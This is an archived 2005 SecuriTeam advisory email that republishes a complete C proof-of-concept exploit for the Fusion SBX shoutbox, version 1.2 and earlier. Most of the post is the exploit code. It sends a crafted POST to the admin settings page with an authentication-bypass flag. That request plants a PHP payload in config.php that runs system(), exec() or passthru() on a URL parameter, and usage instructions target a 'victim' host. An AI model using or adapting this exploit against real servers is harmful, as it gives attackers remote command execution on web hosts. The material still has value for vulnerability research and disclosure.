

[EXPL] Fusion SBX Remote Command Execution (Exploit 2)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0098.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/17/05

To: list@securiteam.com

Date: 17 May 2005 11:17:16 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Fusion SBX Remote Command Execution (Exploit 2)

SUMMARY

<<http://www.fusionphp.net//index.php?cat=fsbx&page=features>> Fusion SBX "will allow your visitors to post comments on your sites, or just say hi. And the best of all is that, it is flat-file, that means that you do not need a MySQL database to install Fusion SBX. You have complete control over the shoutout board".

The following is another proof of concept, exploiting the previously posted Fusion SBX's vulnerabilities.

DETAILS

Vulnerable Systems:

* Fusion SBX version 1.2 and prior

/*****

* *

* [Fusion SBX <= 1.2] exploit *

* *

* sileFSBXxpl *

Securiteam: [EXPL] Fusion SBX Remote Command Execution (Exploit 2)

```
* *
* This exploit use vulnerability found into *
* Fusion SBX and create new variable and call it *
* with a malicious function (stored in config.php). *
* This exploit utilize injection of three diverse *
* procedures for execution of arbitrary code on *
* vulnerable machine with httpd privileges. *
* *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 10/05/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .. copyleft *
* *
*****/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of web server

void info(void);
void banner(void);
void sendxpl(FILE *out, char *argv[], int type);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=4)
    info();

type = atoi(argv[3]);

if(type < 1 || type > 3)
    info();
```

Securiteam: [EXPL] Fusion SBX Remote Command Execution (Exploit 2)

```
banner();

if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
    errsock();

    printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
    errgeth();

    printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
    errconn(argv);

    printf("[*] Connecting at victim host [OK]\n");

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out,argv,type);

    printf("[*] Now test at execute code on\n\n"
           "[1] %s%sindex.php?sile=id\n"
           "[2]
%s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]);

shutdown(sock,2);
close(sock);
return 0;

}

void info(void){

system("clear");
printf("\n #####\n"
       "# sileFSBXxpl #\n"
       "# ##### #\n"
       "# Fusion SBX <= 1.2 exploit #\n"
       "# Remote Command Execution #\n"
       "# coded by Silentium #\n"
       "# [ Anacron Group Italy ] #\n"
       "# ##### #\n"
       "# www.autistici.org/anacron-group-italy #\n");
```

Securiteam: [EXPL] Fusion SBX Remote Command Execution (Exploit 2)

```
" #####\n\n"  
" [Usage]\n\n"  
" sileFSBXxpl <victim> <path_sbx> <type>\n\n"  
" [Type]\n\n"  
" 1) injection of system()\n\n"  
" 2) injection of exec()\n\n"  
" 3) injection of passthru()\n\n"  
" [Example]\n\n"  
" sileFSBXxpl www.victim.com /sbx/ 1\n\n");  
exit(1);  
}  
  
void banner(void){  
system("clear");  
printf("[ - ] sileFSBXxpl\n"  
" =====\n\n"  
" [ - ] Fusion SBX <= 1.2 exploit\n\n"  
" [ - ] coded by Silentium - Anacron Group Italy\n\n"  
" [ - ] www.autistici.org/anacron-group-italy\n\n");  
  
}  
  
void sendxpl(FILE *out, char *argv[], int type){  
char *call;  
int size = 245;  
  
if(type == 1)  
    call = "system";  
else if(type == 2)  
    call = "exec";  
else if(type == 3)  
    call = "passthru";  
  
size+=strlen(call);  
  
fprintf(out,"POST %sadmin/?settings HTTP/1.0\n"  
"Connection: Keep-Alive\n"  
"Pragma: no-cache\n"  
"Cache-control: no-cache\n"  
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"  
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"  
"Accept-Charset: iso-8859-1, utf-8;q=0.5, */q=0.5\n"  
"Accept-Language: en\n"  
"Host: %s\n"  
"Content-Type: application/x-www-form-urlencoded\n"  
"Content-Length: %d\n\n"  
"set2=basic&admin_set2=standard"  
"&lang2=english&plimit2=10&noname2=Guest&"  
"refresh2=120&maxname2=30"  
"% % 3B % 40 % s % % 28 % % 24 _GET % % 5B sile % % 5D % % 29 &maxmess")
```

Securiteam: [EXPL] Fusion SBX Remote Command Execution (Exploit 2)

```
"2=120&maxlink2=120&wordbanning2=1"  
"&maxword2=20&wrapstat2=1&postorder2=1"
```

```
"&setsubmit=Commit+Changes&is_logged=1\n\n",argv[2],argv[1],size,call);
```

```
    printf("[*] Sending exploit [OK]\n\n");  
}
```

```
void errssock(void){  
system("clear");  
printf("[x] Creating socket [FAILED]\n\n");  
exit(1);  
}
```

```
void errgeth(void){  
printf("[x] Resolving victim host [FAILED]\n\n");  
exit(1);  
}
```

```
void errconn(char *argv[]){  
printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);  
exit(1);  
}
```

ADDITIONAL INFORMATION

The information has been provided by ">Silentium.

The original article can be found at:

<http://www.autistici.org/anacron-group-italy/file/source/sileFSBXxpl_v1.2.c>

http://www.autistici.org/anacron-group-italy/file/source/sileFSBXxpl_v1.2.c

<<http://www.securiteam.com/exploits/5OP042KFPU.html>> Fusion SBX Password Bypass and Remote Command Execution

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.